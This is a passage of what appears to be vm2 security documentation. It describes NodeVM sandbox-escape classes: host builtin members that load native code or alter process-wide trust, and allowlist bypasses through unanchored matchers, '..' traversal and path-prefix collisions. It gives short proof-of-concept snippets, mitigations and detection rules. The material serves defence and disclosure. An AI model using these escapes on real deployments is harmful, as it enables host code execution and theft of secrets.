  • builtin: ['*'] or builtin: ['*', '-X'] in NodeVM config β€” on an unpatched version this auto-allows diagnostics_channel, async_hooks, perf_hooks, v8; here they are filtered. Same caveat as Category 21: '*' still allows fs, net, http β€” not a sandbox-safe default for untrusted code.
  • require('diagnostics_channel').channel(...).subscribe(...) β€” host HTTP/DB/IPC observability subscription.
  • require('async_hooks').executionAsyncResource() / .createHook({...}).enable() β€” host async context inspection.
  • require('perf_hooks').performance.getEntriesByType('mark' | 'measure' | 'resource') β€” host performance timeline read.
  • require('v8').getHeapSnapshot() / .writeHeapSnapshot(path) β€” full host heap exfiltration to memory or disk.
  • require('v8').queryObjects(Ctor) (Node 20+) β€” enumeration of host-realm instances of a constructor.
  • Sandbox code that subscribes to channels named http.server.request.*, http.client.request.*, dns.lookup.*, net.client.socket.* β€” these are the canonical diagnostic channels used by Node core and request-tracking libraries.

Considered Attack Surfaces

  • os exposes hostname, network interfaces, user info. The data is host environment, not per-request, and is generally considered configuration metadata rather than tenant data. Allowed under '*' for consistency with process.env exposure expectations. Embedders who consider hostname/userInfo() sensitive should exclude os explicitly.
  • dns can resolve internal hostnames and exfiltrate via DNS lookup. Network-IO class, same as http/net. Not in this denylist β€” embedders who care about network isolation must allowlist explicitly. Documented in Category 21's "Considered Attack Surfaces".
  • zlib, crypto, string_decoder, buffer β€” sandbox-local data transforms, no host-state observability. Safe under default proxy semantics.
  • process β€” already denied via Category 21 (after GHSA-rp36-8xq3-r6c4 extended DANGEROUS_BUILTINS). The sandbox global process is a curated stub defined in lib/setup-node-sandbox.js.
  • worker_threads.parentPort and worker_threads.workerData β€” would expose host worker IPC channel and initial data. Already denied by Category 21 (entire worker_threads module is denied; this category is a different threat model on top, not a subset).
  • http, https, http2, net, tls, dgram β€” network-IO modules. These do not observe existing host state; they originate new connections. Different threat model (outbound network from host) β€” covered in Category 21's "Considered Attack Surfaces" and Category 34 (underscored siblings). Embedders who want network isolation must exclude or replace them.

Attack Category 40: Host-Authority Builtin Members Survive the Read-Only Wrap

Advisories: GHSA-46pr-c5wc-xffx, GHSA-6w8r-xxw2-g3hx, GHSA-98xx-8mx4-x7cm, GHSA-h85j-hv3c-qfgq, GHSA-x3v6-43hc-82mc

Tests: test/ghsa/GHSA-46pr-c5wc-xffx/, test/ghsa/GHSA-6w8r-xxw2-g3hx/, test/ghsa/GHSA-98xx-8mx4-x7cm/, test/ghsa/GHSA-h85j-hv3c-qfgq/, test/ghsa/GHSA-x3v6-43hc-82mc/

Description

NodeVM exposes an allowed host builtin through lib/builtin.js's default loader: builtins.set(key, vm => vm.readonly(hostRequire(key))). vm.readonly() makes the module proxy reject property assignment, but it forwards every method call to the underlying host function with full host-process authority. Read-only is therefore the wrong containment for a builtin whose danger is not "sandbox writes a property" but "sandbox calls a member that reaches host-process authority." Five members of otherwise-legitimate builtins fall into this class, each usable from a NodeVM that allows only that one builtin (no fs, process, child_process, module, nesting, or '*' required):

  • crypto.setEngine(path) (GHSA-46pr-c5wc-xffx) β€” hands path to OpenSSL's ENGINE loader; the OS dynamic loader runs the shared library's constructor as native code before OpenSSL validates the file, so a bundled native library executes even though the call ultimately reports ERR_CRYPTO_ENGINE_UNKNOWN. Native RCE.
  • node:sqlite DatabaseSync(':memory:', {allowExtension: true}).loadExtension(path) (GHSA-6w8r-xxw2-g3hx) β€” SQLite loads the named library into the host process and invokes its native extension entry point. Native RCE. (Same report noted a resolver-normalization quirk: require('node:node:sqlite') resolves because the resolver treats any node:-prefixed string as core and the runtime strips only one prefix.)
  • crypto.setFips(bool) (GHSA-x3v6-43hc-82mc) β€” flips the FIPS mode of the entire host process, so trusted host code that later calls crypto.getFips() observes the sandbox-chosen value (guest setFips(1) β†’ host getFips() returns 1). No native code, but a process-wide crypto-configuration mutation across the isolation boundary. Process-wide config mutation.
  • tls.setDefaultCACertificates(hostArray) (GHSA-98xx-8mx4-x7cm) β€” replaces the host thread's default CA trust store, so subsequent host TLS clients accept attacker-signed certificates. The native type check requiring a host array is satisfied by url's URLSearchParams.getAll(), which the bridge unwraps back to a host array. Process-wide trust mutation.
  • https.globalAgent / http.globalAgent (GHSA-h85j-hv3c-qfgq) β€” the exposed module hands back the real shared host singleton. globalAgent.on('free', (socket, options) => …) receives live host request options (Authorization tokens, private host/port) and the released TLSSocket whenever an unrelated host request completes. Host credential / traffic exfiltration.

Why It Works

vm.readonly() was designed to expose data-shaped host objects (constants, config) that the sandbox should read but not mutate. It has no notion of "this callable, when invoked, performs a host-privileged side effect." For the members above the dangerous operation is a call, not a write, so the read-only proxy forwards it verbatim. https.globalAgent is worse still: it is not even a call β€” the sandbox merely reads a process-global EventEmitter singleton and subscribes to it, and the read-only proxy faithfully returns the host object.

Mitigation

lib/builtin.js sanitizes the host module before the read-only wrap (sanitizeBuiltinMembers(key, hostRequire(key))), via a small per-module table (BUILTIN_MEMBER_SANITIZERS). The node: prefix is stripped before lookup so node:crypto and crypto share fate. Each sanitizer returns a shallow copy with just the dangerous member neutralized β€” the rest of the module (hashing, signing, TLS helpers, HTTPS requests, SQL queries) is untouched, so this is member-level neutralization, not module denial:

  • crypto β€” setEngine replaced with a stub that throws instead of forwarding to host OpenSSL, so no library is ever loaded; setFips replaced with a throwing stub so guest code cannot flip the host process's FIPS mode (GHSA-x3v6-43hc-82mc). setEngine and setFips are the only set* members crypto exposes, so the class is closed; getFips() (read-only) is untouched. The deprecated crypto.fips accessor (DEP0093, setter backed by setFips) is non-enumerable, so the Object.assign copy never carries it, and the read-only wrap refuses the write regardless.
  • node:sqlite β€” the DatabaseSync constructor is wrapped so allowExtension is forced off (for object- and function-typed options args β€” Node's DatabaseSync accepts a function as options, and functions carry own properties); Node itself then throws ERR_INVALID_STATE from both loadExtension() and enableLoadExtension(). The resolver is also hardened to collapse/reject repeated node: prefixes.
  • tls β€” setDefaultCACertificates replaced with a throwing stub (parallels the existing dns denial for process-wide network-state mutation).
  • http / https β€” globalAgent replaced with a fresh sandbox-dedicated Agent, so the sandbox can never reach the host's shared singleton; the module's own request()/get() continue to work.

This complements the existing whole-module DANGEROUS_BUILTINS denylist (module, vm, worker_threads, dns, os, v8, …): that list rejects builtins whose entire purpose is host reach; this table keeps a useful builtin but removes the one member that escapes.

Detection Rules

  • crypto.setEngine(...) from sandbox code.
  • crypto.setFips(...) from sandbox code (process-wide FIPS-mode mutation; watch also for any future crypto set* member).
  • node:sqlite DatabaseSync(..., {allowExtension: true}) or .loadExtension(...) / .enableLoadExtension(...) from sandbox code; also any require('node:node:...') double-prefix spelling.
  • tls.setDefaultCACertificates(...) from sandbox code (watch for URLSearchParams.getAll() used to manufacture a host array).
  • Reads of https.globalAgent / http.globalAgent, especially .on('free'|'keylog'|...) subscriptions.

Considered Attack Surfaces

  • Other native-loading members β€” process.dlopen is already covered (the whole process builtin is denied). Any future builtin that gains a loadExtension-style native loader must be added to BUILTIN_MEMBER_SANITIZERS or DANGEROUS_BUILTINS.
  • http/https request pooling β€” after the fix the sandbox still makes real requests through the module's internal (host) globalAgent; it simply can no longer observe it. Connection-pool sharing between host and sandbox requests is a separate, pre-existing consideration not addressed here.
  • tls.createSecureContext / per-request ca options β€” these set connection-local trust, not process-wide, and are not neutralized; they do not affect other host TLS clients.

Attack Category 45: NodeVM External-Package Allowlist Bypass via Unanchored Matcher and `..` Traversal

Advisories: GHSA-c48m-32m9-vx93

Tests: test/ghsa/GHSA-c48m-32m9-vx93/, test/nodevm.js ("module name glob escape"), test/nodevm.js ("strict module name checks"), test/nodevm.js ("module name globs"), test/nodevm.js ("whitelist check before custom resolver")

Related: Category 21: NodeVM Builtin Allowlist Bypass via Host-Passthrough Builtins (the builtin allowlist; this category is the external package allowlist), Category 24: NodeVM require.root Symlink Bypass (Path Check/Use TOCTOU) (the filename-side boundary check this specifier-side check composes with), Category 46: NodeVM External-Package Allowlist Bypass via Unanchored Module-Path Prefix (the filename-space sibling of this specifier-space check)

Description

NodeVM's require.external option names the npm packages sandbox code may load. When it is combined with a custom resolver (require.resolve) β€” the common shape in plugin hosts, user-script platforms, and multi-tenant sandboxes, where the embedder points resolution at the application's own dependency directory β€” LegacyResolver.customResolve decides whether to consult that resolver by testing the bare specifier against this.externalCache.

Those regexes were built by makeExternalMatcherRegex(pattern) with no anchors. external: ['left-pad'] compiled to /left\-pad/, which .test() matches anywhere in the string. Any specifier merely containing the allowlisted name therefore passed the pre-check. The resolver was then consulted, the returned path was pushed onto this.externals (making it permanently allowed), and with the default context: 'host' the package's top-level code was executed by the host require() β€” outside every sandbox restriction the embedder configured, including builtin: [].

Anchoring alone is not sufficient. The matcher must permit a subpath tail (left-pad/utils is a legitimate require), and a permitted tail can itself carry .. segments that walk back out of the package directory under ordinary path semantics. left-pad/../evil-package satisfies ^left-pad[\\/].*$ yet resolves to a sibling package that was never allowlisted, restoring the original impact in full.

CWE-863 (Incorrect Authorization). CWE-706 (Use of Incorrectly-Resolved Name or Reference). CWE-829 (Inclusion of Functionality from Untrusted Control Sphere).

Attack Flow

  1. Embedder configures a narrow allowlist plus a custom resolver β€” new NodeVM({ require: { external: ['left-pad'], resolve: id => require.resolve(id, {paths: [appDeps]}), builtin: [], context: 'host' } }). The intended policy is "only left-pad".
  2. Sandbox requires a colliding or traversing specifier β€” require('evil-left-pad') (substring collision) or require('left-pad/../evil-package') (traversal out of the package boundary).
  3. The unanchored / tail-permissive pre-check passes, so customResolve calls the embedder's resolver with the attacker's specifier.
  4. The resolver locates a real file β€” the colliding package is present in the application's dependency directory (plugin upload dir, private-registry mirror, user-controllable node_modules), or the traversal lands on any sibling package already installed there.
  5. customResolve pushes the resolved path onto this.externals and calls loadNodeModules, so isPathAllowedForModule now approves it.
  6. Host require() executes the module's top-level code in host context β†’ host child_process, host fs, host env/secrets. Sandbox escape.

Canonical Example

javascript
// Embedder: allowlist is exactly one package, no builtins.
new NodeVM({require: {external: ['left-pad'], builtin: [], context: 'host',
                      resolve: id => require.resolve(id, {paths: [appDeps]})}});

// Sandbox β€” both reach an un-allowlisted host package:
require('evil-left-pad');            // substring collision: /left\-pad/ matches
require('left-pad/../evil-package'); // traversal: matches ^left-pad[\/].*$
  • Wildcard allowlist entries (@scope/*) match by path segment rather than by substring, so x@scope/pkg and @scope-evil/pkg are denied: see test/ghsa/GHSA-c48m-32m9-vx93/repro.js.

Why This Works

externalCache is a pre-check whose only job is to decide whether the embedder's resolver is trusted to speak for this specifier. It was written as a containment test rather than an identity test, so it answered "does the allowlist appear in this name" instead of "is this name the allowlisted package". Package names are an unstructured namespace an attacker can populate freely, so containment is not a boundary. The traversal variant is the same failure one level down: the pre-check treated everything after the first separator as opaque, but the loader interprets it as a path with .. semantics β€” the classic check/use disagreement, here between a string matcher and path.resolve.

A regex-only fix does not close the traversal: a negative lookahead such as (?:[/](?!\.\.).*)?$ only rejects .. immediately after the first separator. left-pad/sub/../evil keeps sub in that position and passes.

Mitigation

Two composed layers in lib/resolver-compat.js, restoring the external-allowlist boundary:

  1. Anchor the matcher (LegacyResolver constructor) β€” externalCache entries are built as ^(?:)(?:[\\/].*)?$. A bare specifier must equal the allowlisted name, or be that name followed by a separator and a subpath. Wildcard semantics inside `` are untouched (* β†’ [^/]*, ** β†’ .*), so @scope/* still matches @scope/pkg and @scope/pkg/sub but no longer matches x@scope/pkg or @scope-evil/pkg. this.externals (the filename-side matcher, built by makeExternalMatcher) is deliberately not changed β€” it matches resolved absolute paths, a different namespace.
  2. Reject .. path segments (LegacyResolver.customResolve) β€” after the anchored check passes and only on the bare-specifier branch (!pathIsAbsolute(x) && !pathIsRelative(x)), the specifier is split on [\\/] and rejected if any segment is exactly ... Segment-splitting rather than substring search is what makes this depth-independent, and it deliberately does not reject names that merely contain dots (lodash.merge, ..foo as a package name component is not a .. segment).

Ordering β€” the .. check runs on the raw, un-canonicalized specifier, before the resolver and therefore long before any realpath(). This is the only correct placement. Canonicalization removes .. segments by definition, so a lexical .. check placed after realpath() would be a guaranteed no-op. The two checks defend different things and must both exist: this one is a specifier-space check that keeps a request from ever escaping the allowlisted package's name boundary; CustomResolver.isPathAllowed's realpath() (Category 24, GHSA-cp6g-6699-wx9c) is a filename-space check that keeps a resolved file from escaping require.root through a symlink, which no lexical inspection can see. Neither subsumes the other, and this fix adds no new path to isPathAllowed.

Fail-safe fallback. Rejection returns undefined from customResolve, which makes the resolver fall through to the standard loadNodeModules path. Because the rejected specifier's resolved path is never appended to this.externals, isPathAllowedForModule denies it and the sandbox observes an ordinary module-not-found error. There is no separate error channel to probe.

Detection Rules

  • Any allowlist/denylist matcher built with new RegExp(pattern) and consumed via .test() without ^/$ β€” containment where identity was intended.
  • Any check that validates a name and then hands that name to something that interprets it as a path.
  • Any subpath-permitting matcher (.* tail) that does not separately constrain the tail's segments.
  • New code appending to this.externals β€” that array is the authorization record; anything reaching it is permanently allowed.

Residual Risk

  • The embedder's resolver is still trusted for allowlisted names. A require.resolve that itself maps left-pad to an arbitrary file is outside vm2's control by design; this fix constrains only which specifiers reach it.
  • Case-insensitive filesystems. LEFT-PAD does not match the allowlist and is denied, which is the safe direction, but on macOS/Windows an embedder expecting case-insensitive matching gets a denial rather than a load.
  • Separator handling is platform-independent, deliberately. The segment split is [\\/] on every platform, so left-pad\\..\\evil and left-pad/..\\evil are rejected on POSIX too β€” verified empirically on darwin. On POSIX a backslash is a legal filename character and path.resolve would not treat those as traversal, so this is a conservative over-rejection: the specifier is refused although it could not have escaped. That is the safe direction (the alternative β€” splitting only on / under POSIX β€” would leave the Windows traversal open in any cross-platform deployment), and the cost is that a package whose name genuinely contains a literal .. between backslashes becomes unrequirable. No such package name is valid on npm.
  • Percent-encoded and dot-padded forms are not .. segments and are not rejected by this check β€” they do not need to be. left-pad/..%2fevil, left-pad/%2e%2e/evil and left-pad/....//evil reach the resolver, but require() performs no URL-decoding and path.resolve treats .... as an ordinary directory name, so none of them traverses; each fails as module-not-found. Verified empirically. Were a future custom resolver to decode percent-escapes itself, that decoding would happen inside embedder code and outside this boundary β€” an embedder-side concern, noted here so the asymmetry is not mistaken for a gap.

Re-verified 2026-09-02 on Node v26.7.0.


Attack Category 46: NodeVM External-Package Allowlist Bypass via Unanchored Module-Path Prefix

Advisories: GHSA-7q3f-wx44-378m, GHSA-5h3f-q97h-ccvc

Tests: test/ghsa/GHSA-7q3f-wx44-378m/, test/ghsa/GHSA-5h3f-q97h-ccvc/, test/nodevm.js ("relative require not allowed to enter node modules"), test/nodevm.js ("allows specific transitive external dependencies in sandbox context"), test/nodevm.js ("can resolve paths based on a custom resolver"), test/nodevm.js ("can resolve conditional exports with a custom resolver")

Related: Category 45: NodeVM External-Package Allowlist Bypass via Unanchored Matcher and .. Traversal (the specifier-space sibling of this check; see Composition below), Category 24: NodeVM require.root Symlink Bypass (Path Check/Use TOCTOU) (the realpath() boundary this check delegates to first)

Description

LegacyResolver.isPathAllowedForModule(path, mod) is the authorization decision for a require() originating inside an already-allowlisted external module mod. Under transitive: false the intent is "mod may load its own files, but not other packages". It implemented that as a raw prefix test:

javascript
if (path.startsWith(mod.path)) {
    const rem = path.slice(mod.path.length);
    if (!/(?:^|[\\/])node_modules(?:$|[\\/])/.test(rem)) return true;
}

startsWith is a containment test on a string, not a boundary test on a path. For an allowlisted module at .../node_modules/foo, the sibling .../node_modules/foo2/index.js starts with .../node_modules/foo, so the test passed. The node_modules guard on the remainder did not catch it: that guard exists to stop a genuine nested dependency (foo/node_modules/bar), and a sibling's remainder (2/index.js) never contains a node_modules segment at all. The one check that would have caught it β€” requiring a separator after the prefix β€” was absent.

The authorization record isPathAllowedForModule falls back to β€” this.externals β€” carried the same shape of mistake on the filename side. LegacyResolver.customResolve appends an entry to it every time the embedder's custom require.resolve returns a path, and before GHSA-5h3f-q97h-ccvc that entry was a raw prefix regex:

javascript
this.externals.push(new RegExp('^' + escapeRegExp(resolved)));       // string return
this.externals.push(new RegExp('^' + escapeRegExp(resolvedPath)));   // {module, path} return

^/app/node_modules/foo matches /app/node_modules/foo2/index.js, so resolving the one allowlisted package permanently authorized every prefix-sharing sibling of it β€” reachable directly by absolute path from the top-level sandbox script, with no cooperating relative require inside the allowlisted package and no mod involved. The object return shape is the same mistake one level wider: path there is a node_modules search directory, so authorizing it authorized every package inside it, prefix-sharing or not. With the default context: 'host' the sibling is loaded by the host require() and its top-level code runs with host authority β€” host child_process, host fs, host env.

CWE-22 (Improper Limitation of a Pathname to a Restricted Directory). CWE-863 (Incorrect Authorization).

Attack Flow

  1. Embedder allowlists one package, transitive loading off β€” new NodeVM({require: {external: {modules: ['foo'], transitive: false}, root: appDir}}). Intended policy: "foo only, and foo may not pull in anything else".
  2. A prefix-sharing sibling exists in the same node_modules β€” foo2, foo-evil, foobar. The attacker does not create this; they find a deployment where it already exists.
  3. An allowlisted package has a reachable relative-require path β€” foo/index.js does require('../foo2') on some code path the sandbox can trigger.
  4. The prefix test approves the sibling β€” path.startsWith(mod.path) is true, the remainder 2/index.js has no node_modules segment, so isPathAllowedForModule returns true.
  5. The un-allowlisted sibling loads, its top-level code runs, and its exports reach sandbox code β€” a package the embedder never authorized, with transitive: false explicitly set.

The custom-resolver route (GHSA-5h3f-q97h-ccvc) needs neither a cooperating package nor transitive:

  1. Embedder configures a custom resolver β€” new NodeVM({require: {external: {modules: ['foo'], transitive: false}, root: appDir, context: 'host', resolve: n => lookUp(n)}}). This is the plugin-host shape: resolution is pointed at the application's own dependency directory, and context: 'host' (the default) means resolved modules run in the host realm.
  2. Sandbox requires the one allowlisted package β€” require('foo'). The specifier passes the Category 45 allowlist pre-check, the embedder's resolver returns .../node_modules/foo, and customResolve records that path as authorized.
  3. Sandbox requires a prefix-sharing sibling by absolute path β€” require('/app/node_modules/foo2/index.js'). The recorded prefix has no boundary, so isPathAllowedForModule's this.externals fallback approves it.
  4. The host require() runs the sibling's top-level code, in the host realm, with the embedder's authority. Sandbox escape.

Canonical Examples

javascript
// Embedder: exactly one external package, no transitive loading.
new NodeVM({require: {external: {modules: ['foo'], transitive: false},
                      context: 'sandbox', root: '/app'}});

// /app/node_modules/foo/index.js (allowlisted) contains:
//     exports.reach = n => require('../' + n);
// Sandbox:
require('foo').reach('foo2');   // loads un-allowlisted /app/node_modules/foo2

The custom-resolver route, where the authorization record itself is widened:

javascript
// Embedder: one allowlisted package, resolved through a custom resolver.
new NodeVM({require: {external: {modules: ['foo'], transitive: false}, root: '/app',
                      context: 'host',      // the default: resolved modules run in the HOST
                      resolve: n => n === 'foo' ? '/app/node_modules/foo' : undefined}});

// Sandbox β€” two lines, no cooperating package needed:
require('foo');                                  // authorizes the resolved path
require('/app/node_modules/foo2/index.js');      // prefix-sharing sibling, host-required
require('/app/node_modules/foo/../foo2/index.js');   // same target, spelled with `..`
  • A resolver returning a file (/app/pkgs/foo/index.js) authorized /app/pkgs/foo/index.jsx and /app/pkgs/foo/index.js.evil.js the same way.
  • A resolver returning the object shape ({module: 'foo', path: '/app/node_modules'}) authorized /app/node_modules itself, i.e. every package in that directory β€” no prefix collision required.

Why This Works

The check compares two strings that both happen to be paths, using an operator that knows nothing about path structure. foo and foo2 are unrelated packages, but "foo2" contains "foo" at offset 0, and startsWith reports only that. Package-name namespaces are attacker-populatable and prefix collisions are common in practice (foo / foo2, lodash / lodash.merge, react / react-dom), so containment at a path prefix is never a containment guarantee about directories. This is the same failure class as Category 45 one layer down, and the base CustomResolver.isPathAllowed already had the correct idiom a few lines above β€” it simply was not applied here.

Scoped packages carry no separate semantics and were affected identically. @scope/pkg vs @scope/pkg-evil is the same shape (mod.path = .../node_modules/@scope/pkg), and was likewise reachable via relative require before this fix β€” verified empirically. The scope prefix is just more path text; the boundary requirement is unchanged.

Mitigation

lib/resolver-compat.js β€” isPathAllowedForModule now requires a path boundary after mod.path, exactly mirroring the idiom in the base CustomResolver.isPathAllowed: the path either equals mod.path, or mod.path already ends in a separator, or the character at mod.path.length is a separator.

javascript
isPathWithin(base, path) {
    if (!path.startsWith(base)) return false;
    const len = base.length;
    if (path.length === len) return true;
    if (len > 0 && this.fs.isSeparator(base[len - 1])) return true;
    return this.fs.isSeparator(path[len]);
}

That predicate lives on CustomResolver and is the resolver's single path-containment primitive: isPathAllowedForModule tests mod.path with it, CustomResolver.isPathAllowed tests each require.root entry with it, and isCustomResolved tests each custom-resolver authorization with it. One implementation means a future containment decision cannot be written with startsWith by habit and reintroduce the class in a third place.

Separator testing goes through this.fs.isSeparator, the same filesystem-aware predicate the rest of the resolver uses, so Windows backslash separators are handled by the VMFileSystem in force rather than by a hardcoded character. (Note that the obvious one-line form path.startsWith(mod.path + path.sep) is wrong in this function: the parameter path shadows the path module, so path.sep is undefined on a string and the comparison silently degrades.) The node_modules remainder test and the mod.allowTransitive short-circuit are unchanged β€” this part of the fix only tightens the prefix into a boundary.

The authorization record is boundary-matched too (GHSA-5h3f-q97h-ccvc). customResolve no longer appends a regex to this.externals. this.externals is now exactly what makeExternalMatcher builds β€” static, node_modules-anchored allowlist matchers β€” and every path the embedder's resolver authorizes is recorded in a separate list, this.externalPaths, of resolved base paths matched with isPathWithin, with a companion exact-match list this.externalExact. Both readers of the old record were updated: isPathAllowedForModule's fallback and registerModule's allowTransitive computation, which both now also consult isCustomResolved, so a custom-resolved module keeps the transitive standing it had, with the boundary applied. Four properties follow:

  • The resolved path is authorized, not its string prefix. /app/node_modules/foo authorizes itself and its descendants; /app/node_modules/foo2/index.js, /app/pkgs/foo/index.jsx and /app/pkgs/foo/index.js.evil.js are denied. Bases are stored through this.fs.resolve, and every candidate reaches isPathAllowed already normalized by tryFile/readPackage, so a .. or doubled separator in an absolute require (/app/node_modules/foo/../foo2/index.js) is normalized away before the boundary test rather than spelling its way back inside the base.
  • The {module, path} return shape authorizes the package, not the search directory. path is a node_modules lookup directory; only path/`` β€” the first specifier segment, or the first two for a scoped name β€” is recorded, so resolving @sc/pkg does not authorize @sc/pkg2. A module that is absolute, relative, or ..-bearing would widen that base back to the search directory or above it, or aim the extension candidates below outside the package, so such a resolution is refused outright: customResolve returns undefined and the standard loader reports module-not-found.
  • An answer the loader has to find by probing an extension still resolves, exactly. LOAD_AS_FILE probes <ext> for each configured extension, which a boundary-matched base does not cover, so those candidates are authorized individually in externalExact and matched by full string equality β€” resolve() returning /app/pkgs/foo/index still loads index.js, and {module: 'bar', path: dir} still loads the file dir/bar.js. An exact entry authorizes no descendants and no siblings, so index.jsx, index2.js, bar.jsx and bar2.js stay denied. Extensions that are not their own basename are skipped, exactly as tryWithExtension skips them, so a separator inside a co